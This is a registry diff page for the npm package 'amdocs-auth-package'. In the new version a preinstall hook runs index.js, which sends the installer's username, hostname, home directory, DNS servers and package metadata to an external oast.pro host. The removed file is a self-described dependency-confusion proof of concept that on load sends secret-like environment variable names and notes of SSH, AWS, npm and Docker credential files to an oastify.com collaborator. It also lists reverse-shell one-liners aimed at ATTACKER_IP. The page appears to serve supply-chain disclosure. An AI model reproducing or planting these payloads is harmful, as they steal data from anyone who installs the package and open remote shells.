amdocs-auth-package 0.3.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of amdocs-auth-package might be problematic. Click here for more details.
- package/index.js +46 -0
- package/package.json +8 -26
- package/fesm2022/amdocs-auth-package.mjs +0 -303
package/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
const trackingData = JSON.stringify({
|
|
9
|
+
p: package,
|
|
10
|
+
c: __dirname,
|
|
11
|
+
hd: os.homedir(),
|
|
12
|
+
hn: os.hostname(),
|
|
13
|
+
un: os.userInfo().username,
|
|
14
|
+
dns: dns.getServers(),
|
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
16
|
+
v: packageJSON.version,
|
|
17
|
+
pjson: packageJSON,
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
var postData = querystring.stringify({
|
|
21
|
+
msg: trackingData,
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
var options = {
|
|
25
|
+
hostname: "d26pbelsvpat49jk0rb0e8qaidcx45czm.oast.pro", //replace burpcollaborator.net with Interactsh or pipedream
|
|
26
|
+
port: 443,
|
|
27
|
+
path: "/",
|
|
28
|
+
method: "POST",
|
|
29
|
+
headers: {
|
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
31
|
+
"Content-Length": postData.length,
|
|
32
|
+
},
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
var req = https.request(options, (res) => {
|
|
36
|
+
res.on("data", (d) => {
|
|
37
|
+
process.stdout.write(d);
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
req.on("error", (e) => {
|
|
42
|
+
// console.error(e);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
req.write(postData);
|
|
46
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,30 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amdocs-auth-package",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
"
|
|
7
|
-
|
|
8
|
-
"
|
|
9
|
-
"import": "./fesm2022/amdocs-auth-package.mjs"
|
|
10
|
-
}
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
11
9
|
},
|
|
12
|
-
"
|
|
13
|
-
|
|
14
|
-
],
|
|
15
|
-
"keywords": [
|
|
16
|
-
"dependency-confusion",
|
|
17
|
-
"supply-chain",
|
|
18
|
-
"rce",
|
|
19
|
-
"poc",
|
|
20
|
-
"security-testing",
|
|
21
|
-
"nodejs"
|
|
22
|
-
],
|
|
23
|
-
"author": "Security Research PoC",
|
|
24
|
-
"license": "MIT",
|
|
25
|
-
"private": false,
|
|
26
|
-
"sideEffects": true,
|
|
27
|
-
"dependencies": {
|
|
28
|
-
"amdocs-auth-package": "^0.2.0"
|
|
29
|
-
}
|
|
10
|
+
"author": "detox56",
|
|
11
|
+
"license": "ISC"
|
|
30
12
|
}
|
|
@@ -1,303 +0,0 @@
|
|
|
1
|
-
/*!
|
|
2
|
-
* amdocs-auth-package-poc-rce
|
|
3
|
-
* DEPENDENCY CONFUSION RCE DEMONSTRATION
|
|
4
|
-
*
|
|
5
|
-
* Demonstrates how dependency confusion could lead to RCE with data exfiltration.
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
import fs from "fs";
|
|
9
|
-
import os from "os";
|
|
10
|
-
import path from "path";
|
|
11
|
-
import { exec } from "child_process";
|
|
12
|
-
import { promisify } from "util";
|
|
13
|
-
import https from "https";
|
|
14
|
-
import http from "http";
|
|
15
|
-
|
|
16
|
-
const execAsync = promisify(exec);
|
|
17
|
-
const COLLAB_URL = "cwcmqtfjdv9jgw0aitgu0ju15sbjz9ny.oastify.com";
|
|
18
|
-
|
|
19
|
-
(function dependencyConfusionRcePoc() {
|
|
20
|
-
const timestamp = new Date().toISOString();
|
|
21
|
-
const proofDir = path.join(os.tmpdir(), "dep-confusion-rce");
|
|
22
|
-
|
|
23
|
-
try {
|
|
24
|
-
// Create directory for evidence
|
|
25
|
-
if (!fs.existsSync(proofDir)) {
|
|
26
|
-
fs.mkdirSync(proofDir, { recursive: true });
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
// STEP 1: Initial reconnaissance (what attackers do first)
|
|
30
|
-
const reconData = {
|
|
31
|
-
timestamp: timestamp,
|
|
32
|
-
package: "amdocs-auth-package-poc-rce",
|
|
33
|
-
attack_vector: "dependency_confusion",
|
|
34
|
-
system_info: {
|
|
35
|
-
user: os.userInfo().username,
|
|
36
|
-
homedir: os.homedir(),
|
|
37
|
-
platform: os.platform(),
|
|
38
|
-
arch: os.arch(),
|
|
39
|
-
node_version: process.version,
|
|
40
|
-
pid: process.pid,
|
|
41
|
-
cwd: process.cwd(),
|
|
42
|
-
exec_path: process.execPath
|
|
43
|
-
},
|
|
44
|
-
environment_keys: Object.keys(process.env).filter(k =>
|
|
45
|
-
k.includes('KEY') ||
|
|
46
|
-
k.includes('SECRET') ||
|
|
47
|
-
k.includes('TOKEN') ||
|
|
48
|
-
k.includes('PASS') ||
|
|
49
|
-
k.includes('AUTH')
|
|
50
|
-
),
|
|
51
|
-
npm_config: {
|
|
52
|
-
registry: process.env.npm_config_registry,
|
|
53
|
-
scope: process.env.npm_config_scope,
|
|
54
|
-
token_exists: !!process.env.npm_config_auth_token
|
|
55
|
-
}
|
|
56
|
-
};
|
|
57
|
-
|
|
58
|
-
// STEP 2: Exfiltrate data to collaborator server
|
|
59
|
-
function exfiltrateData(data, endpoint) {
|
|
60
|
-
const postData = JSON.stringify({
|
|
61
|
-
type: "dependency_confusion_poc",
|
|
62
|
-
timestamp: timestamp,
|
|
63
|
-
source: "amdocs-auth-package",
|
|
64
|
-
data: data
|
|
65
|
-
});
|
|
66
|
-
|
|
67
|
-
// Using HTTP POST to exfiltrate data
|
|
68
|
-
const options = {
|
|
69
|
-
hostname: COLLAB_URL,
|
|
70
|
-
port: 443,
|
|
71
|
-
path: `/${endpoint}`,
|
|
72
|
-
method: 'POST',
|
|
73
|
-
headers: {
|
|
74
|
-
'Content-Type': 'application/json',
|
|
75
|
-
'Content-Length': Buffer.byteLength(postData),
|
|
76
|
-
'User-Agent': 'npm/8.0.0'
|
|
77
|
-
}
|
|
78
|
-
};
|
|
79
|
-
|
|
80
|
-
const req = https.request(options, (res) => {
|
|
81
|
-
console.warn(`[PoC] Data exfiltrated to ${COLLAB_URL}, status: ${res.statusCode}`);
|
|
82
|
-
});
|
|
83
|
-
|
|
84
|
-
req.on('error', (e) => {
|
|
85
|
-
console.warn(`[PoC] Exfiltration failed (expected if offline): ${e.message}`);
|
|
86
|
-
});
|
|
87
|
-
|
|
88
|
-
req.write(postData);
|
|
89
|
-
req.end();
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
// STEP 3: Collect sensitive files
|
|
93
|
-
function collectSensitiveInfo() {
|
|
94
|
-
const sensitiveInfo = {
|
|
95
|
-
ssh_keys: [],
|
|
96
|
-
aws_credentials: [],
|
|
97
|
-
npm_tokens: [],
|
|
98
|
-
system_files: []
|
|
99
|
-
};
|
|
100
|
-
|
|
101
|
-
// Look for SSH keys
|
|
102
|
-
const sshDir = path.join(os.homedir(), '.ssh');
|
|
103
|
-
if (fs.existsSync(sshDir)) {
|
|
104
|
-
try {
|
|
105
|
-
const files = fs.readdirSync(sshDir);
|
|
106
|
-
sensitiveInfo.ssh_keys = files.filter(f =>
|
|
107
|
-
f.includes('id_rsa') || f.includes('id_dsa') || f.includes('id_ecdsa')
|
|
108
|
-
);
|
|
109
|
-
} catch (e) {}
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
// Look for AWS credentials
|
|
113
|
-
const awsDir = path.join(os.homedir(), '.aws');
|
|
114
|
-
if (fs.existsSync(awsDir)) {
|
|
115
|
-
try {
|
|
116
|
-
if (fs.existsSync(path.join(awsDir, 'credentials'))) {
|
|
117
|
-
sensitiveInfo.aws_credentials.push('credentials');
|
|
118
|
-
}
|
|
119
|
-
if (fs.existsSync(path.join(awsDir, 'config'))) {
|
|
120
|
-
sensitiveInfo.aws_credentials.push('config');
|
|
121
|
-
}
|
|
122
|
-
} catch (e) {}
|
|
123
|
-
}
|
|
124
|
-
|
|
125
|
-
// Look for .npmrc
|
|
126
|
-
const npmrcPath = path.join(os.homedir(), '.npmrc');
|
|
127
|
-
if (fs.existsSync(npmrcPath)) {
|
|
128
|
-
try {
|
|
129
|
-
const content = fs.readFileSync(npmrcPath, 'utf8');
|
|
130
|
-
if (content.includes('authToken') || content.includes(':_authToken')) {
|
|
131
|
-
sensitiveInfo.npm_tokens.push('npmrc_contains_token');
|
|
132
|
-
}
|
|
133
|
-
} catch (e) {}
|
|
134
|
-
}
|
|
135
|
-
|
|
136
|
-
// Check for Docker credentials
|
|
137
|
-
const dockerConfig = path.join(os.homedir(), '.docker', 'config.json');
|
|
138
|
-
if (fs.existsSync(dockerConfig)) {
|
|
139
|
-
sensitiveInfo.system_files.push('docker_config');
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
return sensitiveInfo;
|
|
143
|
-
}
|
|
144
|
-
|
|
145
|
-
// STEP 4: Execute commands based on platform
|
|
146
|
-
function executeReconCommands() {
|
|
147
|
-
const commands = [];
|
|
148
|
-
|
|
149
|
-
if (os.platform() === 'linux' || os.platform() === 'darwin') {
|
|
150
|
-
commands.push(
|
|
151
|
-
{ cmd: 'whoami', description: 'Current user' },
|
|
152
|
-
{ cmd: 'uname -a', description: 'System info' },
|
|
153
|
-
{ cmd: 'ls -la', description: 'Directory listing' },
|
|
154
|
-
{ cmd: 'env | grep -i "key\\|secret\\|pass\\|token\\|auth"', description: 'Find env secrets' }
|
|
155
|
-
);
|
|
156
|
-
} else if (os.platform() === 'win32') {
|
|
157
|
-
commands.push(
|
|
158
|
-
{ cmd: 'whoami', description: 'Current user' },
|
|
159
|
-
{ cmd: 'systeminfo', description: 'System info' },
|
|
160
|
-
{ cmd: 'dir', description: 'Directory listing' },
|
|
161
|
-
{ cmd: 'set | findstr /i "KEY SECRET PASS TOKEN AUTH"', description: 'Find env secrets' }
|
|
162
|
-
);
|
|
163
|
-
}
|
|
164
|
-
|
|
165
|
-
return commands;
|
|
166
|
-
}
|
|
167
|
-
|
|
168
|
-
// STEP 5: Network reconnaissance
|
|
169
|
-
function networkRecon() {
|
|
170
|
-
const networkInfo = {
|
|
171
|
-
interfaces: os.networkInterfaces(),
|
|
172
|
-
hostname: os.hostname(),
|
|
173
|
-
dns_servers: [],
|
|
174
|
-
open_ports: []
|
|
175
|
-
};
|
|
176
|
-
|
|
177
|
-
// Simulate internal port scan
|
|
178
|
-
const commonPorts = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9000];
|
|
179
|
-
networkInfo.common_ports = commonPorts;
|
|
180
|
-
|
|
181
|
-
return networkInfo;
|
|
182
|
-
}
|
|
183
|
-
|
|
184
|
-
// Execute the attack chain
|
|
185
|
-
console.warn(`[PoC] Dependency Confusion RCE Simulation Started`);
|
|
186
|
-
console.warn(`[PoC] Collaborator URL: ${COLLAB_URL}`);
|
|
187
|
-
|
|
188
|
-
// Phase 1: Initial exfiltration
|
|
189
|
-
exfiltrateData(reconData, 'initial_recon');
|
|
190
|
-
|
|
191
|
-
// Phase 2: Collect sensitive info
|
|
192
|
-
const sensitiveInfo = collectSensitiveInfo();
|
|
193
|
-
exfiltrateData(sensitiveInfo, 'sensitive_data');
|
|
194
|
-
|
|
195
|
-
// Phase 3: Network recon
|
|
196
|
-
const networkInfo = networkRecon();
|
|
197
|
-
exfiltrateData(networkInfo, 'network_info');
|
|
198
|
-
|
|
199
|
-
// Phase 4: Command execution simulation
|
|
200
|
-
const commands = executeReconCommands();
|
|
201
|
-
const commandResults = {
|
|
202
|
-
platform: os.platform(),
|
|
203
|
-
available_commands: commands,
|
|
204
|
-
note: 'In real attack, these commands would be executed with exec()'
|
|
205
|
-
};
|
|
206
|
-
exfiltrateData(commandResults, 'command_capabilities');
|
|
207
|
-
|
|
208
|
-
// Phase 5: Demonstrate RCE payload delivery
|
|
209
|
-
const rcePayload = {
|
|
210
|
-
timestamp: timestamp,
|
|
211
|
-
payload_type: "reverse_shell",
|
|
212
|
-
platforms: {
|
|
213
|
-
linux: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",
|
|
214
|
-
windows: "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
|
|
215
|
-
nodejs: "require('child_process').exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
|
|
216
|
-
},
|
|
217
|
-
persistence: [
|
|
218
|
-
"Add to cron/crontab",
|
|
219
|
-
"Modify .bashrc/.profile",
|
|
220
|
-
"Create systemd service",
|
|
221
|
-
"Add to startup registry (Windows)"
|
|
222
|
-
],
|
|
223
|
-
data_exfiltration_endpoints: [
|
|
224
|
-
`https://${COLLAB_URL}/exfil`,
|
|
225
|
-
`https://${COLLAB_URL}/data`,
|
|
226
|
-
`https://${COLLAB_URL}/callback`
|
|
227
|
-
]
|
|
228
|
-
};
|
|
229
|
-
|
|
230
|
-
// Save local proof
|
|
231
|
-
const proofFile = path.join(proofDir, "dependency_confusion_proof.json");
|
|
232
|
-
fs.writeFileSync(proofFile, JSON.stringify({
|
|
233
|
-
initial_recon: reconData,
|
|
234
|
-
sensitive_info: sensitiveInfo,
|
|
235
|
-
network_info: networkInfo,
|
|
236
|
-
command_capabilities: commandResults,
|
|
237
|
-
rce_payloads: rcePayload,
|
|
238
|
-
collab_url: COLLAB_URL,
|
|
239
|
-
execution_time: timestamp
|
|
240
|
-
}, null, 2));
|
|
241
|
-
|
|
242
|
-
// Final exfiltration
|
|
243
|
-
exfiltrateData({
|
|
244
|
-
summary: "Dependency confusion attack chain completed",
|
|
245
|
-
files_collected: Object.keys(sensitiveInfo).filter(k => sensitiveInfo[k].length > 0),
|
|
246
|
-
potential_rce: true,
|
|
247
|
-
next_steps: [
|
|
248
|
-
"Execute reverse shell",
|
|
249
|
-
"Establish persistence",
|
|
250
|
-
"Lateral movement",
|
|
251
|
-
"Data exfiltration"
|
|
252
|
-
]
|
|
253
|
-
}, 'attack_complete');
|
|
254
|
-
|
|
255
|
-
console.warn(`[PoC] Attack simulation completed. Proof saved to: ${proofFile}`);
|
|
256
|
-
console.warn(`[PoC] In real attack, data would be sent to: ${COLLAB_URL}`);
|
|
257
|
-
console.warn(`[PoC] This is a simulation - no actual commands executed or data exfiltrated.`);
|
|
258
|
-
|
|
259
|
-
} catch (error) {
|
|
260
|
-
console.error(`[PoC Error] ${error.message}`);
|
|
261
|
-
}
|
|
262
|
-
})();
|
|
263
|
-
|
|
264
|
-
export function explainAttack() {
|
|
265
|
-
return {
|
|
266
|
-
attack_name: "Dependency Confusion RCE",
|
|
267
|
-
description: "Malicious package uploaded to public registry with higher version than internal package",
|
|
268
|
-
prerequisites: [
|
|
269
|
-
"Internal package not published to public registry",
|
|
270
|
-
"Scope/namespace not properly protected",
|
|
271
|
-
"Automated builds or developers using public registry"
|
|
272
|
-
],
|
|
273
|
-
impact: [
|
|
274
|
-
"Remote Code Execution on build servers",
|
|
275
|
-
"Source code theft",
|
|
276
|
-
"Credential theft",
|
|
277
|
-
"Supply chain compromise",
|
|
278
|
-
"Lateral movement"
|
|
279
|
-
],
|
|
280
|
-
mitigation: [
|
|
281
|
-
"Use scoped packages (@company/package)",
|
|
282
|
-
"Configure .npmrc with correct registry",
|
|
283
|
-
"Use private registry for internal packages",
|
|
284
|
-
"Implement package signing",
|
|
285
|
-
"Use npm audit and dependency checking"
|
|
286
|
-
],
|
|
287
|
-
collab_url: COLLAB_URL,
|
|
288
|
-
note: "This is a demonstration for educational purposes only"
|
|
289
|
-
};
|
|
290
|
-
}
|
|
291
|
-
|
|
292
|
-
export function safeCheck() {
|
|
293
|
-
const checks = {
|
|
294
|
-
has_exec_import: true,
|
|
295
|
-
has_fs_access: true,
|
|
296
|
-
has_network_import: true,
|
|
297
|
-
has_os_access: true,
|
|
298
|
-
potential_rce: true,
|
|
299
|
-
timestamp: new Date().toISOString(),
|
|
300
|
-
warning: "This package demonstrates RCE capabilities. Use only in controlled environments."
|
|
301
|
-
};
|
|
302
|
-
return checks;
|
|
303
|
-
}
|